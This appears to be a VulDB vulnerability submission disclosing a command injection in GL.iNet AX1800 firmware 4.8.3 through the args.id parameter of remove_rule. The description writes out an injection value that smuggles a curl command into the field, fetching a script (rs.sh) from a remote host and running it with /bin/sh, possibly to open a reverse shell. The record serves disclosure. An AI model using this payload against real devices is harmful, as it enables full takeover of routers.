| Title | GL.iNet AX1800 4.8.3 Command Injection |
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| Description | The attacker can construct the following args.id value:
\n/usr/bin/curl http://192.168.0.2:8000/rs.sh -o /tmp/rs /bin/sh /tmp/rs#
When the device executes remove_rule, the above content is concatenated into the os.execute() command, causing the device to download rs.sh from the remote host and execute it. Since rs.sh is no longer subject to RPC parameter filtering, it may contain a reverse shell, persistence logic, or arbitrary system commands, ultimately leading to full compromise of the device. |
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| Source | ⚠️ https://github.com/xxianxiayubanmian/iot/blob/main/GL-link%20AX1800.md |
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| User | misaki_ce (UID 98836) |
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| Submission | 06/12/2026 20:56 (2 months ago) |
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| Moderation | 08/04/2026 10:33 (2 months later) |
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| Status | Accepted |
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| VulDB entry | 385788 [GL.iNet AX1800 up to 4.8.3 RPC Endpoint oui-rpc.lua remove_rule args.id command injection] |
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| Points | 20 |
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